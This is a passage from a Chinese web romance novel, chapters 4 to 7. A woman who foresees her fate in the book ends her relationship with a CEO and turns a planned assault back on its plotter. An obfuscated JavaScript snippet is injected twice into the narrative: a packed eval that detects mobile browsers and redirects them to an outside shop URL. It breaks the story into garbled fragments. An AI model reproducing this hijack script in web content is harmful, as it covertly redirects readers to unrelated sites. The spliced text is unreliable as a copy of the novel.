江映山直接拿走她送到唇边的烟,用手指捻灭火星后丢掉:“你这是怎么了?” 他问的不只是抽烟这件事。 江画云冷肃苍白的脸色忽然就崩了。 她靠在自己弟弟肩头开始哭。 浑身止不住地颤抖,牙齿咬住他的衬衣,呜咽中夹杂着兽一样的低吼。 那噩梦太真实了,眼前眉目温和俊朗的江映山逐渐和噩梦中阴鸷麻木的模样重叠。 江画云抱着现实中安然无恙的弟弟,词不成句: “映山……一定要……离白雪蘅远点……” 江映山被姐姐的异样吓了一跳,但他轻轻抚着江画云的后背:“姐,你遇到什么事了?” 江画云知道他没听进去,她有些癫狂地抓住江映山的肩膀,眼底猩红: “叫你离她远点!不许勾引她!不许带她去旅游!” 毫无逻辑的语言,失控的理智,熟读精神病学的江映山立刻从善如流:“好好好,我不带她去旅游,姐姐,我先送你回家……” 4. 护工 白雪蘅直接去了医院。 这次的客户住的是医院国际部的vip单间,在楼下普通病房走廊满是加床的情况下,这里就连中央空调的嗡鸣声都被空旷走廊上厚厚的地毯吸走。 她按照病房号找到了客户,敲门声刚落,便有人打开了门。 “您就是天伦家政公司的白女士吧?” 说话的是一位笑容可掬的老大爷,他的眼角有深深的笑纹,但是仔细看却能看出他眼底的精光与威严。 白雪蘅点了点头:“我是来为病人提供护理服务的,请问病人在哪里?” 不怪她问,这病房是两室一厅,进门是雅致休闲的客厅,两边都有房间。 大爷微弯着腰,带她去了东边那间。 “真是麻烦您了……” 白雪蘅进门吓了一跳,一个被绷带包得严严实实的木乃伊安安静静地躺在病床上。 “这……是怎么回事?” 难道是重度烧伤? 但是烧伤病人,应该不能在普通病房进行非专业护理吧?她也没有穿无菌服啊。 大爷叹了口气:“……我也不想这样。” 白雪蘅倒不是歧视病人,只是病人包得这样严密,又是烧伤,恐怕浑身已经没有好地方了,这要她怎么按摩? “不好意思,这位客户我恐怕没有能力护理。” 为了不摊上官司,白雪蘅主动拒绝了获得十万元奖金的可能。 开玩笑,万一给人按坏了,这是真赔不起。 大爷连忙拦住她:“是这样的白小姐,您不用动手对病人做什么,您只需要在床边跟他聊天就行。” “聊天?” 大爷的脸上笑纹深深:“是啊,临床上早已证明过,对昏迷不醒的病人实施言语刺激是非常有效果的医疗行为。” 白雪蘅更加不解:“那你们应该找他的亲戚朋友啊,我又不认识他,我说话能管用吗?” 大爷一脸为难:“实不相瞒,他变成这样,就是因为亲近的人……所以我才找您,作为外人,开导开导他。” 原来还有隐情。 照这么说的话,聊聊天就能挣钱,那还是很不错的。 白雪蘅现在绝对不会跟钱作对。 她的脸上流露出恰到好处的为难表情。 大爷很是上道:“时薪五百。” 夺少?! 如果在这里聊上一夜,十个小时,就是五千!聊上一整天,二十四个小时,就是一万二! 白雪蘅小跑着搬了个椅子,一屁股坐在床边,清了清嗓子,开始说话。 “这位先生……” 大爷翘了翘嘴角,悄声离开房间,并带上了门。 白雪蘅还在开导病床上的木乃伊: “你现在一定很难过吧,因为亲近的人变成这样……” “其实……我也被曾经信任的人害过。” “我自以为找到了更适合自己的人,心甘情愿抛弃一切跟他走了,他却把我……抛弃了。” 她说的是原书中自己被江映山骗走杀掉的事。 “所以您被亲近的人害这事儿,我也能感同身受。” “但后来我发现,这事儿其实没啥。情这个东西,有也行,没有也行。只要命还在,就有一切重来的机会。” ”虽然您的病情严重了些,但好歹还喘着气儿呢不是……” 白雪蘅的话被床头的心电监护仪的警报声打断。 她起身看了看屏幕上飘红的180,有些吃惊: “您这气,喘得好像有些剧烈……” 话音没落,她的手腕被人猛地抓住,床上的木乃伊“腾”地坐了起来,宽大的身影黑沉沉压过来。 一同响起的,还有同样黑沉沉的语气:“谁把你抛弃了?” 白雪蘅一愣,这声音…… “木乃伊”另一只手扯下绷带,露出容昭野那张俊脸,神色却如食人恶煞。 怎么是他?! 白雪蘅抽回手:“你弄疼我了!” 容昭野瞥过她通红的手腕,按了床头呼叫铃:“送消肿膏进来。” 白雪蘅已经回过神来:“你干什么假扮病人?” 容昭野轻柔地帮她按摩手腕,语气梆硬:“你不也在扮演护工?” 白雪蘅没好气地瞪他:“我不是扮演,我就是!” 容昭野冷哼:“那我也就是病人。” 白雪蘅简直不知道说什么好:“容大总裁,您日理万机,能不能不要浪费时间玩这种无聊的游戏,我很忙的,你这样是在耽误我的时间好不好?” 容昭野抿唇不说话。 白雪蘅了解他,每次吵架,被她说了戳心窝子的狠话,他就是这个反应。 但她不想缓和,而是站起身准备离开,起身瞬间眼前突然出现无数雪花点,脚踩棉花,天旋地转。 白雪蘅一边软软地往地上倒,一边冷静分析: 坏了,一整天啥也没吃,又忙个不停,低血糖了。 再次睁开眼,是她躺在VIP病床上,容昭野坐在床头。 “谁这么值得,让你因为他连饭都不吃?” 白雪蘅坐起来拔掉指脉氧,掀被子就要走。 容昭野直接把她横抱在怀里,像搂着小孩子那样,箍了个紧。 “放开我,你是有妇之夫,我们这样是不道德的。” “……又玩这种游戏?这次不喊我姐夫了?” 容昭野端起一碗粥要喂她。 白雪蘅完全不想吃,她侧过头去,倔强地沉默。 容昭野的脸色沉了下来。 “你到底在闹什么?” 白雪蘅冷脸:“你有婚约,为什么不告诉我?” 容昭野紧绷的身体松弛下来,还好,她只是吃醋了,在跟他闹脾气。 “那是商业互助,江家在海运方面有不可替代的技术优势和关系网。” “那我们分手,你跟她好好互助。” 容昭野皱眉:“这跟分手有什么关系?我们在一起又不会有什么影响,我每天除了工作就是陪你,以后也是。” 白雪蘅无法对一个全世界都围着转的豪门总裁男主说,你不能想干什么就干什么,你也不能什么都有。 她不耐烦地挣扎着下来,找到接待她的大爷,晃了晃手机上的时间。 “我在这里三个小时,其中服务时间只有半个多小时,时薪500的话,给我250就行。” 大爷微笑点头,拿出手机准备转账。 白雪蘅伸出细长的手指:“稍等,您是容昭野的工作人员吗?” 大爷摇头,又点点头:“我是容老爷子的助理,非容先生直属管辖。” 怪不得她没见过这位大爷。 “那麻烦您,能用容老爷子给您发的工资给我结账吗?我不想要容昭野的钱。” 大爷很有职业素养地没有流露出多余的表情,把钱转了过去。 白雪蘅看着余额里多出来的250,敲了敲系统:“这钱算不算?” 【系统:资金来源虽非男主容昭野,却是服务容昭野所得,故不予承认。】 好不容易挣了250却不被承认…… 白雪蘅觉得自己来这里一趟才是彻头彻尾的250…… 被她丢在身后看也不看一眼的容总裁对大爷挥了挥手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546112|204156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大爷识趣地转身离开。 他看着门被锁上,把白雪蘅圈进怀里,在她头发上深深吸气: “我们还没试过在病房……” 白雪蘅又羞又气:“你把我当什么?卖身给你的金丝雀?” 容昭野托住她的大腿,面对面把她抱了起来,一只手强硬地用她的腿圈住自己的腰。 “我把你当心肝宝贝。蘅宝,今天站着炒菜好不好?” 白雪蘅疯狂扭动身体要下来:“不好!就算卖身,也不卖给你!” 他的钱系统不承认! 容昭野听了这话,动了真怒。 “那你还想卖给谁?!” 她今天一系列的异常行为,让他心里的不安如黑洞般蔓延,吞噬了所有理智。 在和江映山打过一架后,容昭野就让秘书调查了所有江映山的信息,以及他和白雪蘅有没有交流往来。 三个秘书效率很高,调查资料显示江映山和白雪蘅没有任何交集。 江映山刚从国外回来,白雪蘅又每天都和容昭野在一起。 二人的通讯记录也没有任何重叠。 甚至江映山的各大社媒包括游戏账号都被容昭野查了个底朝天。 种种记录都显示,江映山除了和江画云有密切的联系,和其他任何异性都没有互动痕迹。 既然素不相识……白雪蘅怎么知道江映山隐私部位有痣? 白雪蘅还在他腰上挣扎,容昭野心头怒火逐渐变成了专属于她的冲动。 她对他的变化再熟悉不过,这下真的慌了神,知道自己如果这时候不脱身,接下来几个小时都绝对下不了那张病床。 “容昭野,你让我先洗个澡……” 她语气哀哀的,听起来是一如既往的撒娇。 容昭野在这一点上很有风度,无论多么急切,都不会真的强迫她。 白雪蘅得以从他身上下来。 反锁了浴室门,白雪蘅拧开花洒,没有洗澡,只是用冷水洗了洗脸。 在门外等候的容昭野给许秘书打电话:“送一盒安全用品过来,另外,给雪蘅卡上打五千万。” 白雪蘅正在思索如何离开,手机屏幕忽然亮了。 是卡里到账五千万的信息。 ……现在对她来说最有用的就是钱,但是最没用的也是他的钱啊。 白雪蘅飞快地在手机上按了条信息发送出去。 在浴室熬了半个小时,白雪蘅终于听到了敲门声。 她穿着整齐地走出来,看到容昭野站在门口,门外是许秘书,正在把什么东西递给容昭野。 白雪蘅大失所望。 突然,大爷和人说话的声音传进房间: “几位警官,我可以确定这里没有人报警……” “报警信息上写的很清楚,国际部住院楼808房间,不是这里吗?” “这里是808,可是我们没有人报警,这恐怕是误会,或者是恶作剧……” 就在大爷和警察僵持不下的时候,白雪蘅走了出去。 “不是恶作剧,是我报的警。” 为首的警察十分严肃:“核实一下报警内容,报警人白雪蘅,称有人进行非法情色交易,对吗?” 一片死寂。 容昭野眉眼深深地看着她。 白雪蘅点头:“是的。证据,”她伸手拿过许秘书刚刚递给容昭野的那盒安全用品,“就在这里。” 许秘书恨不得当场把那盒套吞下去再撞墙自杀。 警察是认识这位顶级豪门帅气总裁的,只是法律面前人人平等,他铁面无私公事公办:“那就请二位到局里做个笔录吧。” 5. 蘅容 白雪蘅做完笔录,站在警局门口,赶在容昭野出来之前着急忙慌地上了一辆网约车。 天已经黑透了,她决意分手后自然不能继续住在容昭野的江边豪宅,唯一的去处只有学校宿舍。 虽然已经举办完毕业典礼,但是学校为了照顾到实习的毕业生,仍然开放住宿到秋季开学前两周。 白雪蘅回到了久违的宿舍。 容昭野有请人定期帮忙打扫宿舍卫生,甚至为她更换床品,置办生活用品,方便她偶尔中午上完课回来午休。 所以她就算几年都没有住过,也没有半分不适。 舍友不在,白雪蘅松了口气。 现在的她不想和任何人交流解释任何事。 她随便点了份外卖,趴在桌子上揉着隐隐作痛的胃。 揉着揉着,她不小心睡着了。 梦里又看到了那本写着她悲惨结局的豪门总裁文。 【得知容昭野在外面养了个娇娇小女友,江画云摔了刚买来准备送给容昭野的宝石袖扣。江映山见姐姐如此失态,很是心疼,问清楚缘由之后,他心里有了计划。】 【江映山自知以他的身份办这件事有诸多不便,就请自己的多年好友,也是跟他一起回国的发小汪智中,广洒请帖,举办了一场老友派对。容昭野作为这群富哥圈子里的顶级富哥,自然也接到了请帖。】 【请帖备注务必带上女伴,容昭野在此之前的各大场合都会带上白雪蘅,这已经是圈子里公开的秘密,这次也不例外。】 【白雪蘅在聚会上和容昭野闹小脾气,跑出去散心,被醉酒的流氓带走猥亵,并拍了不雅照。白雪蘅反抗激烈想要跳江,被早有准备的江映山救下。经此一事,白雪蘅对江映山印象很好,二人加了联系方式,时常聊天。】 …… 从梦中醒来,有饭香萦绕鼻尖。 白雪蘅迷蒙着睁开眼睛,看到室友周风染把她的外卖放在桌上。 “雪蘅,我看到阿姨那里有你的外卖,还以为送错了呢,没想到真是你点的啊。” 外卖员进不来宿舍楼,外卖都是放在宿管阿姨办公室门口。 白雪蘅急吼吼地打开外卖狼吞虎咽。 这一天把她累惨了,也饿惨了。 周风染吃惊地看着白雪蘅的吃相,没忍住问道:“雪蘅,你怎么晚上回来了?” 白雪蘅咽了一口饭,轻描淡写:“我跟容昭野分手了,暂时没地方住。” 周风染轻“嗤”了一声:“这回又因为什么?总裁新给你定制的跑车颜色不是最正宗的勃艮第红?” 二人平时关系不错,周风染见多了白雪蘅使小性子闹分手最后和好的剧情。 白雪蘅摇摇头:“这次是真的分手,我再也不花他一分钱了。” 今天订外卖都是用的家政公司老板给的那100块。 周风染见她一脸平静,终于意识到她来真的:“为什么啊?难道他出轨了?不过,就算他出轨了,你就不能看在钱的份上忍忍?” 那是钱吗,那是很多很多很多很多很多的钱啊。 白雪蘅没法说自己想忍也得有命忍啊,但此事解释起来太过复杂,她干脆不去解释。 “跟那些都没关系,反正我以后跟他不会有任何交集。对了小染,你找到工作了吗?” 她需要认真找一份工作挣钱,当家政不是长久之计。 白雪蘅念的学校名头很响,是国内数一数二的名校。 只是她的专业在就业方面却有很大限制——她读的是哲学。 四年前开学典礼那天,系主任在台上致辞:“同学们,你们学的不是谋生技能,而是思考世界的方式。” 如今的白雪蘅心想:思考世界的方式能换钱吗? 难道要她在面试的时候思考一番并问HR:“您好,贵公司招聘的这个岗位,它的本质是什么?存在的合理性在哪里?是真实需求还是资本异化下的伪命题?” 同系的学长曾经告诉她,哲学系毕业生的归宿无非几条路: 考研考公,曲线救国;去培训机构教政治,顺便跟学生科普“异化”的概念;或者干脆转行,把四年的哲学训练浓缩成简历上一句“逻辑思维能力强,善于思考”。 转行好啊转行妙,白雪蘅一度转行去做了职业金丝雀。 只是青春短暂,美梦易碎,职业风险危及生命,再不赶紧转回老本行,就要亲自去见康德了。 周风染干笑了几声:“我投的游戏公司剧情策划,正想求你帮忙呢……” 白雪蘅愣了片刻,明白过来。 周风染投的是国内顶级游戏公司,蘅容。 这家公司原本不叫这个名字,是上市前容昭野亲自改的名字,他那时候对白雪蘅上头得厉害,把她的名字放在自己姓氏之前。 蘅容向来是只招硕士研究生的,能以本科学历进去的寥寥无几。 周风染原本以为,自己这几年都没主动沾过室友的光,能在毕业找工作这件事上厚着脸皮蹭一下,也算值了。 可她万万没想到,临了临了,室友竟然和总裁分手了! 周风染的原生家庭和白雪蘅一样,都是五线城市普通人,给不了什么助力。 如果她死缠烂打求白雪蘅找容昭野帮忙,白雪蘅会毫不犹豫地拒绝。 但周风染却点到为止,并没有继续说出让白雪蘅内耗的请求,白雪蘅反而会因为自己帮不到她而愧疚。 “……我试试帮你联系一下他的秘书。” 周风染眼睛一亮:“真的吗?谢谢谢谢谢谢雪蘅!欠你的我拿什么还!如果我能去蘅容,第一个月工资全部给你!” 白雪蘅摇摇头,容昭野的公司发出来的钱,拿了也没用。 她的手指在许秘书的电话号码上悬空,迟迟没有摁下。 白天刚刚“陷害”了他老板,这会儿又求他帮忙开后门…… 她轻咬下唇,准备豁出老脸——管许秘书怎么想呢,问问又不会掉块肉! 屏幕闪动,许秘书的电话竟然打过来了。 白雪蘅摁下接听。 “雪蘅小姐,容总让我问问您,周六晚上有没有时间参加滨湖庄园的聚会?都是您认识的朋友。” 白雪蘅拒绝地很干脆:“不去。” 许秘书语气温和:“容总还让我问您,他给您定制了一款私人飞机,机身贴Dimoo还是星星人?飞机内饰也需要您费心选一下呢,还有地毯材质,我把样品给您拿过去?您现在的住址是……?” 容昭野这次为了哄她也是下血本了。 白雪蘅仍旧拒绝:“私人飞机我就不要了,有件事想拜托你……” 许秘书连说言重:“容总交代过我,您有什么需求和困难,让我务必不计代价解决。” 白雪蘅闭了闭眼:“我同学,投了蘅容剧情策划的岗位,她叫周风染……” 许秘书非常善解人意:“您放心,蘅容的HR明天就会给您朋友发送面试邀约。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546113|204156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >白雪蘅表达了谢意:“真是不好意思,麻烦你了。” 许秘书的语气透着哀求的意味:“雪蘅小姐,您是知道容总的,我要是没完成工作任务,他向来铁面无私……我家里刚生了二胎,房子又跌了55%……我真的很需要这份工作……” 白雪蘅无奈,自己刚刚让许秘书帮了忙,现在实在是不好强硬拒绝。 “聚会地址和时间发过来吧。” 许秘书欢天喜地:“好的雪蘅小姐,还有您常用的化妆师造型师,我都帮您约好了。” 白雪蘅扶额,她现在搬出来了,难道要让化妆师他们来学校宿舍找她吗? “化妆师和造型师就不必约了,我到时候直接过去滨湖庄园。” 吃饱后不再缺血的大脑恢复了运转,白雪蘅突然想到了什么,她试探着问许秘书:“等等,组织这场聚会的,是不是汪智中?” “是啊雪蘅小姐,是汪先生组织的,他刚回国,说要请朋友们聚一聚叙叙旧。” 现实和刚才在梦中看到的剧情严丝合缝地对上了。 这场聚会后,她被猥亵,被拍不雅照,还被暗中主导这一切的江映山以拯救者的姿态闯进她的生活。 白雪蘅在发抖,脸上确是寒意逼人的冷笑。 “我会准时到的。” 挂了电话,白雪蘅回头看到周风染跪坐在瑜伽垫上,双手上举,托着一份果切,火龙果切成了心形,猕猴桃片摆成了花瓣状,最上面还插了根迷你的小旗子,旗上写了两个字:“恩公。” 白雪蘅被她这造型逗笑了。 “蘅蘅,你知道我投了多少份简历吗?”周风染说,“一百三十七份。面了十四家公司。收到过最好的回复是——‘您的学历很优秀,但我们觉得您可能不太适合这个岗位。’” 白雪蘅的眉头皱了起来:“我们专业真的这么难找工作啊……” 她从前得过且过,被容昭野养着,大四一整年都在陪他出差、应酬、过那些莫名其妙的纪念日。 秋招的时候她在三亚度假,春招的时候她在瑞士滑雪。 班群里发的招聘信息她看都没看过,辅导员私信她填就业意向表,她回了个“创业”——其实根本没业可创,只是懒得解释。 现在想起来,那时候的她,大概就是那种“何不食肉糜”的人。 周风染猛猛点头,幅度大得差点把马尾甩散。 “难?蘅蘅,你根本不知道外面的世界长什么样。” 她把果切剩下的边角料塞进嘴里,含混不清地说:“你知道我们班现在什么情况吗?三十二个人。保研的六个,考研上岸的十个,考公上岸的两个,出国的四个。剩下的十个人里,有一个在送外卖,三个在教培机构教政治,两个在卖保险,一个在房产中介卖房子,一个在殡仪馆做丧仪主持——” “殡仪馆?” “对,那个同学说,尼采说‘人是桥梁,不是目的’,她觉得殡仪馆是最能体现这句话的地方。反正她面试的时候就是这么说的,对面沉默了,最后录了她。” 白雪蘅:…… “还有两个在待业,”周风染竖起两根手指,“我就是其中之一。不,在你给我介绍工作之前,我是其中之一。” 白雪蘅思考着周风染的话,忽然问她:“你刚刚说的那个送外卖的同学,是哪一个?” 周风染打开微信群去找那人的名片:“怎么啦?你找他有事?” 白雪蘅笑着点头:“我也想去送外卖。” 6. 聚会 滨湖庄园。 汪智中用手肘捅了捅心不在焉的江映山:“你姐姐怎么没来?” 这次聚会,江映山特意要汪智中请大家带上女伴,自己却独身前来。 江映山晃着手里的酒杯:“她这几天很累,早早就睡了。” 汪智中一脸可惜地摇摇头:“好几年不见,我还想和她叙叙旧。” 江映山笑了笑,想起他出门之前—— 江画云的精神状态依旧微癫,把江映山堵在他的房间,不允许他出房门一步。 “我不管你跟谁有约,今天你哪里也不能去!” 自从那天在停车场见过白雪蘅,江画云的情绪就一直很不对。 江映山好脾气地哄姐姐:“那你和我一起去行不行?” 江画云像是想起了什么可怕的事情,她更剧烈地摇头:“不行,我们都不去!不能跟这件事扯上关系!” 江映山听得心头一跳,难道姐姐知道自己要做什么? 不可能,他并没有直接和那种人有接触,消息是层层传递,保证任何人都查不到他这里。 眼见和汪智中约好的时间越来越近,江映山叹了口气:“好,我听你的,哪里都不去。不过,你把我关在房间这么久,我有些渴了,想出去喝杯水,可以吗?” 江画云仍然拒绝:“你可以电话给阿姨,让阿姨送进来。” 江映山没忍住笑了:“太夸张了姐,你忘了爸爸怎么教育我们的?让他知道我这么‘骄奢淫逸’,怕是少不了一顿骂。” 江家祖上就是跑船的普通人,甚至比普通人还要困难,所以家训是吃苦耐劳,不能忘本,不允许子女有任何的懒馋奸猾行为。 家里即使请阿姨,也只是帮忙做饭搞卫生,不是伺候少爷小姐的。 江画云闻言,默认了他出去喝水的要求,只是她仍眼神咄咄地盯着江映山的背影,似乎只要他敢往大门口迈出一步,她就掏出鱼叉把他钉死在墙上。 江映山用咖啡机做了两杯咖啡,递给江画云的是她惯喝的摩卡。 江画云确实有些累了,接过来一饮而尽。 不过半小时,她软软倒在江映山房间的沙发上。 …… 汪智中还想求江映山下次一定记得把江画云带来,门口一阵喧嚣,他那位喜怒不形于色的父亲正满面笑容地迎着一位年轻高大的男人进来。 男人气场很强,视线扫过一周,便已经和在场的人都打了招呼般,倒显得所有人都是来他的地盘做客。 汪智中眼睛一亮:“昭野,好久不见!” 他没意料到容昭野真的会来,毕竟他们交情早已因多年不见淡了不少。 容昭野点点头,许秘书送上一瓶酒。 “大家都在,怎能不来?” 江映山面无表情地饮下杯中酒。 发现姐姐不对劲那天,他就查过了。 容昭野一边和江画云订婚,一边又私养了白雪蘅这只金丝雀。 嗤,管不住□□的烂人一个。 同时还是个超雄神经病。 只是因为白雪蘅信口胡说的几句话,就追到浴室跟他打了一架。 江映山无法理解姐姐因为这种男人变得患得患失,情绪失控。 不过,只要姐姐喜欢,他把白雪蘅这个麻烦解决掉也没什么大不了。 容昭野径直走到江映山面前。 “你是给?” 江映山愣了一秒,脸色冷下来:“你有病?” 容昭野漫不经心又眼神犀利地打量他:“都有谁见过你的胎记?” 他为何如此纠结这个问题。 江映山被气笑了:“你管得挺宽啊,姐夫?” 这下容昭野的表情也十分难看:“不要这样叫我。” 等会儿雪蘅会来,他不想她听到这个称呼不开心。 江映山眼底结冰:“我不叫,你就不是了么?” 二人之间的火药味越来越浓,明眼人都看出不对劲,汪智中这个攒局的赶紧跑过来插科打诨。 容昭野的手机响了,是白雪蘅的专属铃声。 他脸上怒意尽散,接电话的声音都无限温柔:“蘅宝,我让司机去学校接你,你出发了吗?” 白雪蘅在电话那头撒娇:“我想吃林师傅做的点心。” 林师傅曾在国际甜点大赛蝉联六届冠军,后任终身评委。 他做的马卡龙被发国蓝带收录为“本世纪不可复制的甜点”,他开的店每天限量供应三十份,凌晨三点就有人排队。 五年前他宣布“封刀”,说是年纪大了,手不稳了,对甜味的感知也不如从前了。 圈内人都知道,这不过是体面的说法——真正的原因是,他觉得没有值得他出手的人了。 那些年多少人捧着钱去请他,某头顶一块布国家的王妃过生日,包了一架飞机来接他,他都没去。 所有人都说,林师傅这把刀,怕是再也请不动了。 除非——容昭野开口。 三年前,容昭野带白雪蘅去林师傅的家。 容昭野不紧不慢地说了句“她想吃草莓蛋糕”,林师傅笑眯眯地点点头,然后系上了围裙。 那时候白雪蘅还不知道林师傅是谁。 容昭野很高兴,她只要愿意对他提要求,就说明自己在她心里还是有分量的。 “林师傅上个月刚过了七十大寿,宣布闭门静养。” 言外之意,如今可更不好请了。 电话那头的声音果然更软了几分: “可我想吃他做的栗子蛋糕。就上次那个,带金箔的。” 他就吃她这一套。 容昭野忍不住笑,纵容的傻笑。 “行。” 白雪蘅放下心来。 滨湖庄园是一个大的别墅群,安保十分严格,外来车辆禁止通行。 夜已深,一辆载着外卖箱的小电驴慢慢悠悠驶了进来。 穿着制式服装的安保将人拦下。 骑车的人摘下头盔,秀发滑落,一张妍丽惊艳的脸。 “白、白女士?” 安保是认识她的,只是没想到她会这样装扮。 白雪蘅捋了捋头发,笑着点点头:“好玩吧?我们今天聚会主题就是cos外卖员,他们都到了吧?我也得赶紧过去了。” 安保自然不敢拦她,连忙升起挡杆。 白雪蘅重新戴上黄色袋鼠头盔,把手拧到底,向着汪智中家的别墅出发。 汪智中拉着江映山从后院回到客厅。 “你跟容昭野呛什么呀,他不是你未来姐夫吗?” 提起这个,江映山脸色愈发阴沉。 “还没有正式订婚。” 圈里人并不都知道这件事,汪智中和江映山关系好,又很关注江画云,这才知道。 “你们两家合作的厂房都快盖好了,这不是板上钉钉嘛。” 江映山揉了揉眉心,他是真不想看见容昭野,但他又必须借助容昭野才能见到白雪蘅。 不过,只要计划顺利,过了今晚,他就能和白雪蘅单独建立稳定的联系…… 视线里突然出现一个黄色的身影。 黄色袋鼠头盔,大大logo的黄色T恤,黄色冲锋裤,黄色运动鞋。 露出梨涡甜笑的白雪蘅抱着一个蛋糕盒子,朝着他们二人打招呼: “您好,您的外卖到了。” 汪智中没有见过白雪蘅,但他不瞎,美到这种程度的女孩不可能是外 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此刻她正拿着一小块蛋糕,笑眯眯地递给他:“江医生,尝尝吧,林师傅的手艺,还是你最爱的栗子蛋糕哦。” 江映山吃惊地看着白雪蘅。 他爱吃栗子蛋糕的事,就连江画云都不知道。 这是他在国外养成的习惯。 白雪蘅怎么知道的? 容昭野的眼神如果能化为实质,早就把江映山戳成了筛子。 “吃吧,没毒。” 白雪蘅又把蛋糕往前送了送。 江映山下意识想躲,想起自己的计划,挤出一个温润的笑,接过了蛋糕。 容昭野轻咳了一声:“蘅宝,我也有点饿。” 白雪蘅却连眼神都没给他,不耐地挥挥手:“你吃别的。” 容昭野的表情可以用不可置信来形容。 震惊过后就是委屈。 白雪蘅却上前和汪智中搭话。 二人说说笑笑着去了后院,和来参加聚会的其他人打招呼。 江映山故意当着容昭野的面,慢条斯理地吃蛋糕。 只是他刚吃完一块,把碟叉放下,就有些站不稳。 ……蛋糕有毒? 江映山用力掐自己,眼前依旧一片漆黑。 腿也开始不听使唤,他猛地迈了两步,一头栽倒在地。 许秘书吓了一跳。 他正要掏出手机呼叫急救,白雪蘅闪身回来阻止了他。 “快快快,把他扶起来,放洗手间。” 容昭野语气凉凉的:“怎么不放床上呢?” 白雪蘅从包里掏出一身衣服:“给他把这身衣服换上。” 容昭野定睛一看,是白雪蘅的裙子。 ……她葫芦里到底卖的什么药? 白雪蘅已经上手去扶了,许秘书也在帮忙。 容昭野实在看不得白雪蘅的手扶在江映山腰上,他压下对江映山的反感,把白雪蘅轻轻拉开,自己弯腰去扶。 两个大男人很快就把江映山挪去了洗手间。 到了换衣服的环节,容昭野直接把白雪蘅撵了出去。 然而他自己也实在不想碰江映山,转身也出了洗手间。 ……一脸无辜的许秘书把下个月的房贷金额想了又想,动作麻利地给江映山换好了衣服。 “你到底要对江映山做什么?” 容昭野低声问白雪蘅。 白雪蘅没有直接回答,反而吩咐他:“等会儿你俩把他带走,带去滨湖大桥,把他丢桥上。” 7. 疯狗 滨湖大桥的风很温柔,轻缓地吹动着江映山的假发,发丝垂面,微微颤动,白裙逶迤,氛围感十足。 他层层分包下去安排好的人开着面包车过来,看到这里果然躺着一个“美女”。 车上的人发现了目标,默契十足地把人扛上车,一脚油门开向了市中心。 不远处在车里看着这一切的白雪蘅松了口气。 原文中被带走的人是她。 容昭野吩咐开车的许秘书:“找人跟着那辆车,看看他们去哪。” 白雪蘅小声蛐蛐:“还能去哪,容家在市中心的百货超市储物间。” 容昭野看她的眼神被车顶的阴影遮住:“你怎么知道?” 因为原文里,是我躺在那里被拍隐私照,勒索威胁,威胁骚扰啊。 白雪蘅冷笑。 容昭野表情恍然:“是你安排的人。” 白雪蘅摇头:“我可没那么变态。” 容昭野看了一眼许秘书。 许秘书知情识趣地下了车。 “雪蘅,搬回家吧,没有你我睡不着。” 他没说谎,这几日他都是天微亮才堪堪闭眼。 “睡不着就买点助眠的药。” 白雪蘅不为所动。 容昭野的手指搓了搓口袋里的烟,白雪蘅搬走后,他异常烦躁,每天必须抽几根缓解想骂人的心情。 “我到底哪里做的不对,我都能改。” 白雪蘅摇头:“你没做错任何事,是我,不配跟你在一起。” 她没有入圈的家世,没有保护自己的实力。 容昭野拉过她的手:“什么配不配的,你是我求之不得的,是我唯一的爱人。” 皎洁月色下,一个大帅哥在限量版宾利里说这种话,没有人不迷糊。 白雪蘅甩开他的手:“爱人?你又不能跟我结婚,我只是你养的外室,在你们那个圈子里是被人戳着脊梁骨嘲笑的对象。” 容昭野:“我们可以去国外领证,也可以在国外办婚礼,你喜欢哪个国家?我马上安排。” 白雪蘅冷着脸:“我是华国人,我哪里的证都不要,就喜欢这里的红本本。” 容昭野拿出手机查机票:“港岛也属于我们国家,明天我们就去港岛领证。” 白雪蘅揉着眉心:“你别闹了,再怎么折腾,我们以后的孩子也是私生子……” 容昭野安慰她:“私生子也是有继承权的,我做信托,把所有的财产都给他……” 白雪蘅摇头:“你说了不算,以后你和江画云的孩子有的是办法对付我们,我不要过那种勾心斗角的生活,我想安安稳稳踏踏实实的过每一天!” 容昭野的声音有些低沉:“江画云的事,到底是谁告诉你的?” 白雪蘅的心就像被人攥了一把,从那天凌晨觉醒了系统后就可以封存的情感反扑而来,鼻腔的酸意让她的话带着湿音: “如果不是我偶然知道,你压根就没打算告诉我。” 容昭野沉默许久:“我能处理好,她不会影响你的生活。” 他同意和江家联姻,目的是拿到江家在海运方面的关系网。 商业互利,所谓的夫妻不过是两大家族的人质。 他可以保证自己的爱情和身体都是白雪蘅独有。 除了……那本红色的结婚证。 “这个世界上还有比你更自恋又可悲的人吗?” 白雪蘅狠狠抹去眼角溢出的一滴泪,“你给我下去!” 容昭野被她拳打脚踢地赶下车,白雪蘅换到前排驾驶座上。 电动车还在庄园,这里打不到车,她不想走路回去。 许秘书同情地看着被尾气喷了一脸的自家老板。 容昭野搓了搓脸,自言自语:“我自恋?” 许秘书连忙抬头望天,假装没听见。 江画云赶到超市储物间的时候,那几个把江映山带走的人已经被苏醒的江映山打伤在地,正在嗷嗷叫唤。 江映山一把扯下头上的假发,露出阴鸷的双眼。 江画云心头一跳。 “到底怎么回事?我不是叫你别出门吗?你居然敢把我药翻了偷跑出去……” 江画云带来的保镖动作利索地把正在惨叫的喽啰们抬出去。 江映山冷声吩咐:“把他们手机里面所有内容清除,包括云盘网盘。” 